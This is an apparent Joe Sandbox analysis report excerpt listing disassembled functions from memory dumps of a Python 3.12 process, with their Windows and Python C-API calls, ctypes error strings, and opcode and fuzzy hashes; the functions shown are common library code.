Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 3f8f5b66ff3c01c3443bb119c94cf0420855ec3c30670116b52bf75018228fa5
Instruction ID: a11e1733b562e6c4bf1c8c026c264530f88295f989561ef087b5b3e00bdc8c66
Opcode Fuzzy Hash: 3f8f5b66ff3c01c3443bb119c94cf0420855ec3c30670116b52bf75018228fa5
Instruction Fuzzy Hash: C9112E22B14F01CAEB00CF62E8552B833A4F769768F450E35DA6E967A4DF7CD164C340

Function 00007FFE1321165C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE13211688
GetCurrentThreadId.KERNEL32 ref: 00007FFE13211696
GetCurrentProcessId.KERNEL32 ref: 00007FFE132116A2
QueryPerformanceCounter.KERNEL32 ref: 00007FFE132116B2

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f6b854855521a5eeb54a69c346efd32b0b439a43f7217cfd0872cc224e201bb
Instruction ID: 8b974c0d6b34bb82192ea17354b0fb1dc29f9371f432a0377e6fa370d56120a2
Opcode Fuzzy Hash: 7f6b854855521a5eeb54a69c346efd32b0b439a43f7217cfd0872cc224e201bb
Instruction Fuzzy Hash: E0111826B14F018AEB00DB61E9542B833A4FBA9768F440A71EA6D567A5DF78D154C380

Function 00007FFE11EAA640 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE11EAA66C
GetCurrentThreadId.KERNEL32 ref: 00007FFE11EAA67A
GetCurrentProcessId.KERNEL32 ref: 00007FFE11EAA686
QueryPerformanceCounter.KERNEL32 ref: 00007FFE11EAA696

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c9d2bc6b1f4b90143cfcf8b72833dd591a01bb31496536103f8e1994dd480a1d
Instruction ID: 0a6c68f4137960de9c4c574d25468ec764308d6ab2d4ba942e5f30bcdf035555
Opcode Fuzzy Hash: c9d2bc6b1f4b90143cfcf8b72833dd591a01bb31496536103f8e1994dd480a1d
Instruction Fuzzy Hash: 0B112E26B55F068AEB00CFA1EC552BA33A8FB59768F440E31DA6D467A4DF7CE1548340

Function 00007FFDFB198A20 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFB198A4C
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB198A5A
GetCurrentProcessId.KERNEL32 ref: 00007FFDFB198A66
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFB198A76

Memory Dump Source

Source File: 00000001.00000002.2087496257.00007FFDFAFF1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFAFF0000, based on PE: true

Associated: 00000001.00000002.2087477664.00007FFDFAFF0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087672240.00007FFDFB272000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087672240.00007FFDFB292000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087672240.00007FFDFB2A1000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087672240.00007FFDFB317000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087915398.00007FFDFB4E6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087960073.00007FFDFB556000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2087979557.00007FFDFB557000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088043326.00007FFDFB559000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088144191.00007FFDFB5DF000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088166044.00007FFDFB5E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088190714.00007FFDFB5EB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088259597.00007FFDFB610000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088286922.00007FFDFB611000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088309541.00007FFDFB612000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088374027.00007FFDFB613000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088395037.00007FFDFB615000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088417976.00007FFDFB621000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088508738.00007FFDFB622000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088949522.00007FFDFB664000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2088981676.00007FFDFB681000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaff0000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c3ed045bb38a667c100e22636b803ba1f380a34d6de05b6f2a16d532bdd1e237
Instruction ID: 31cfb6825370fc42e31a277cc46036c2c007223553a305b127a1f8b85ec985dd
Opcode Fuzzy Hash: c3ed045bb38a667c100e22636b803ba1f380a34d6de05b6f2a16d532bdd1e237
Instruction Fuzzy Hash: D5113022B15F068AEB00DF60EC646B833A4FB19758F441E31DA6D867A8DF7CE1548340

Function 00007FFE10253A1C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE10253A48
GetCurrentThreadId.KERNEL32 ref: 00007FFE10253A56
GetCurrentProcessId.KERNEL32 ref: 00007FFE10253A62
QueryPerformanceCounter.KERNEL32 ref: 00007FFE10253A72

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e14f81335c7f0e89c555c48fc70369245093cfa0888173eb1084b591f0c493ce
Instruction ID: d532a9c09839566f39a4c3556668000ec33b953dc1ad083617728ba1674af032
Opcode Fuzzy Hash: e14f81335c7f0e89c555c48fc70369245093cfa0888173eb1084b591f0c493ce
Instruction Fuzzy Hash: 08114C22B18F018AEB008F61E8542B937A4F759768F440A31DB6D427A5EFB8D158C340

Function 00007FFE1338D3BC Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

Py_IsInitialized.PYTHON312 ref: 00007FFE1338D3D9
Py_Initialize.PYTHON312 ref: 00007FFE1338D3E3
PyGILState_Ensure.PYTHON312 ref: 00007FFE1338D3E9
PyGILState_Release.PYTHON312 ref: 00007FFE1338D403

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: State_$EnsureInitializeInitializedRelease
String ID:
API String ID: 2621580956-0
Opcode ID: da2a1c6cf08c665fbde1c19ae397932693eff860a514a5d902af12e965db5eed
Instruction ID: cd258703397a02eb4f1638fd1d7351f20ab4e4e573475cce87a4b4e1c23f6ee4
Opcode Fuzzy Hash: da2a1c6cf08c665fbde1c19ae397932693eff860a514a5d902af12e965db5eed
Instruction Fuzzy Hash: 99F03021F08F82CAEB005B63B8440196361BF58FE0F584474EA5EA3B65DE3CD4C18704

Function 00007FFE13382F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312(?,?,?,00007FFE13386FD7), ref: 00007FFE13388059
_Py_Dealloc.PYTHON312 ref: 00007FFE1338807B

Strings

abstract class, xrefs: 00007FFE1338804F

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocErr_String
String ID: abstract class
API String ID: 1259552197-1623945838
Opcode ID: a5a9fb54ad381867297fd7e11ce763f6697ed177dae3a4a7beeca7d4d7e678e2
Instruction ID: b2ece5b84451b803c205288a4f27aeafff5f4809252d114b38a6f407ccc7c911
Opcode Fuzzy Hash: a5a9fb54ad381867297fd7e11ce763f6697ed177dae3a4a7beeca7d4d7e678e2
Instruction Fuzzy Hash: B6115162A08F0289EB14CB17E45437D22A0EF98BB5F0447B4D92EA67A5DF3CD084C304

Function 00007FFE1338F960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

PyLong_AsLong.PYTHON312 ref: 00007FFE1338F9CC
PyErr_Format.PYTHON312 ref: 00007FFE1338F9EE

Strings

one character bytes, bytearray or integer expected, xrefs: 00007FFE1338F9E4

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_FormatLongLong_
String ID: one character bytes, bytearray or integer expected
API String ID: 832222675-2748977362
Opcode ID: 7424544b3d1215fc434e04ce5de65ac9db3eef7d05c9e4fbdc2fc421e03b0b75
Instruction ID: d97cad48cb72f092280e7fb4fe6a1bf2e3a9ea64a9c51b7eb30100dbe3eb579a
Opcode Fuzzy Hash: 7424544b3d1215fc434e04ce5de65ac9db3eef7d05c9e4fbdc2fc421e03b0b75
Instruction Fuzzy Hash: 93114F21A08F86D9E7548B17E04023D27A1EB29BA4F1851F1CAAD67775CE28D4D9C304

Function 00007FFE1338AA10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338AA39

Part of subcall function 00007FFE1338B35C: PyErr_SetString.PYTHON312(?,?,?,?,00007FFE13389CF5,?), ref: 00007FFE1338B39D

Strings

NULL pointer access, xrefs: 00007FFE1338AA57
Pointer does not support item deletion, xrefs: 00007FFE1338AA2F

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_String
String ID: NULL pointer access$Pointer does not support item deletion
API String ID: 1450464846-1262937747
Opcode ID: 57f6354bc0e4bce49136c8cf2d93878c8b2682ee8540d201fcf39fe6b4b796b4
Instruction ID: c551bc3da89c55aa72e0da3c36e14e063b9811850a38560f57de4f84fc3a966e
Opcode Fuzzy Hash: 57f6354bc0e4bce49136c8cf2d93878c8b2682ee8540d201fcf39fe6b4b796b4
Instruction Fuzzy Hash: 35015E61A08F8685EE04DB47E5800BD6365FBA5FF4B1082B1DE6E67B65CF3CD5418348

Function 00007FFE1338F53C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1338F5D4: PyType_IsSubtype.PYTHON312(?,?,?,?,00007FFE1338F437), ref: 00007FFE1338F5E1

PyErr_SetString.PYTHON312 ref: 00007FFE1338F578

Part of subcall function 00007FFE1338B35C: PyErr_SetString.PYTHON312(?,?,?,?,00007FFE13389CF5,?), ref: 00007FFE1338B39D

Strings

not a ctype instance, xrefs: 00007FFE1338F567
can't delete attribute, xrefs: 00007FFE1338F590

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_String$SubtypeType_
String ID: can't delete attribute$not a ctype instance
API String ID: 3320257282-2740123057
Opcode ID: 55f841778382e54f9561580303660fddaf3b39dcc7eacdf930bcf8a8b3429997
Instruction ID: 62bd9d4d72b3fc254881895f79cb630af9df25662fcb326104b5549022a5c59d
Opcode Fuzzy Hash: 55f841778382e54f9561580303660fddaf3b39dcc7eacdf930bcf8a8b3429997
Instruction Fuzzy Hash: 74112A61A09F41C5EA108F17F44006D63A1FB58BF4B4446B2EE6E67B68DF6CD4948708

Function 00007FFE13389EB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PySequence_SetItem.PYTHON312 ref: 00007FFE13389EF3
PyErr_SetString.PYTHON312 ref: 00007FFE13389F1F

Strings

args not a tuple?, xrefs: 00007FFE13389F15

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_ItemSequence_String
String ID: args not a tuple?
API String ID: 138718260-274370407
Opcode ID: 1062786a721aa3b2b17e52fabc9b8ce6e36aa1f3ef41abacd55c27cd5c1f4fa2
Instruction ID: d69215558e16d97ea364ebdb2bd417a5b646a23575d62d72994fa46810ac1520
Opcode Fuzzy Hash: 1062786a721aa3b2b17e52fabc9b8ce6e36aa1f3ef41abacd55c27cd5c1f4fa2
Instruction Fuzzy Hash: F1016921A08E8289E6148B16E44016E6361FB59BB0F5857B5EA7E67BA8CF28E491C704

Function 00007FFE13389C8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE13389D08

Strings

Array does not support item deletion, xrefs: 00007FFE13389CA2
invalid index, xrefs: 00007FFE13389CFE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_String
String ID: Array does not support item deletion$invalid index
API String ID: 1450464846-799983634
Opcode ID: 3c994c59d8a0fd64ddf27f60569ac766af89ccef91600088a0317f68e4485dcd
Instruction ID: b4d9ba37339062612e05a3a892e7a3a6615a3c4ef325f4908bce77b94ecd4929
Opcode Fuzzy Hash: 3c994c59d8a0fd64ddf27f60569ac766af89ccef91600088a0317f68e4485dcd
Instruction Fuzzy Hash: 86014C61A08F8689DA04CB47D89047823B4FBA5BE4B5152F6ED6E63B64DF2DD1458308

Function 00007FFE13384470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312(?,?,?,00007FFE1338445E), ref: 00007FFE1338934F

Part of subcall function 00007FFE13383ED0: _PyObject_GC_New.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EDD
Part of subcall function 00007FFE13383ED0: PyObject_GC_Track.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EFF

_Py_Dealloc.PYTHON312(?,?,?,00007FFE1338445E), ref: 00007FFE1338935A

Strings

expected CData instance, xrefs: 00007FFE13389345

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$DeallocErr_StringTrack
String ID: expected CData instance
API String ID: 2415173498-1581534645
Opcode ID: 7406afe2d7c08a3794a66f3e5092cb25764fdcbbae7e734c65bf58a3b2765a99
Instruction ID: cea46812840ac7298bab19ef1517baa6b4730dba4783dee8e9463903657256ef
Opcode Fuzzy Hash: 7406afe2d7c08a3794a66f3e5092cb25764fdcbbae7e734c65bf58a3b2765a99
Instruction Fuzzy Hash: 61010C61A08F06C9EB559B27D84013D23A5BF68BA4F1405F8C96EA6BB0DE7CE491D318

Function 00007FFE1338BE74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyObject_GenericSetAttr.PYTHON312 ref: 00007FFE1338BE8C
_PyUnicode_EqualToASCIIString.PYTHON312 ref: 00007FFE1338BEB5

Strings

_fields_, xrefs: 00007FFE1338BEAB

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AttrEqualGenericObject_StringUnicode_
String ID: _fields_
API String ID: 947992268-3196300388
Opcode ID: 988c0c540f44e4774374ddd15d2de5b8a378e7d93878ed4415244488d57d0bab
Instruction ID: 6ae7cd94aaf676eddd68ce01d29f46ec84e4d06f49cb66950aa92aa8069e15b1
Opcode Fuzzy Hash: 988c0c540f44e4774374ddd15d2de5b8a378e7d93878ed4415244488d57d0bab
Instruction Fuzzy Hash: 68F04411F18E8289E6588B27B44012E5251EF55BF0F5892F4EE6E63AB4CF2CE4D18708

Function 00007FFE1338BBA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338BBCB
PyDict_SetItem.PYTHON312 ref: 00007FFE1338BBFF

Strings

abstract class, xrefs: 00007FFE1338BBC1

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dict_Err_ItemString
String ID: abstract class
API String ID: 960913676-1623945838
Opcode ID: bdc999bc38da8a36cd10e7e2f78feb8b1fcaa9b3c2442156f8f08d97c81210a8
Instruction ID: 7f7a1f03067765fb748d9cda36319dafcbf00c4a5d0d59663fb2d8f82b798a21
Opcode Fuzzy Hash: bdc999bc38da8a36cd10e7e2f78feb8b1fcaa9b3c2442156f8f08d97c81210a8
Instruction Fuzzy Hash: E1F04950E08E0788EA545B2BA48127D1261AF59BF4F1843F4D93E76BF9DE3CD4854308

Function 00007FFE1338CDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON312 ref: 00007FFE1338CE1C
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE1338CE43

Strings

ctypes.string_at, xrefs: 00007FFE1338CE15

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AuditBytes_FromSizeStringSys_
String ID: ctypes.string_at
API String ID: 1783689829-1910480597
Opcode ID: e5886f3158baba986c8c608b0429bf9d21bc4077c217839c7f2e932105980343
Instruction ID: 7a26e87c18038f8646067e10510e48875fbddebf45ae064df5a79980565a8b75
Opcode Fuzzy Hash: e5886f3158baba986c8c608b0429bf9d21bc4077c217839c7f2e932105980343
Instruction Fuzzy Hash: FDF03091B08D4298EF244B67B940179A652AF68BF1F10A3B1D97F669F4DD2CA5848308

Function 00007FFE1338CE54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON312 ref: 00007FFE1338CE78
PyUnicode_FromWideChar.PYTHON312 ref: 00007FFE1338CEA0

Strings

ctypes.wstring_at, xrefs: 00007FFE1338CE71

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AuditCharFromSys_Unicode_Wide
String ID: ctypes.wstring_at
API String ID: 614261396-2169766756
Opcode ID: b84b5cb8fb7ab12a7935c4d5ee9af3fa001ce6f60576affa4e78f801b0b22aa7
Instruction ID: 77a0f918ca95c666748d6ea2c7c4c553838863987131c6fdcfb961adf3b32a90
Opcode Fuzzy Hash: b84b5cb8fb7ab12a7935c4d5ee9af3fa001ce6f60576affa4e78f801b0b22aa7
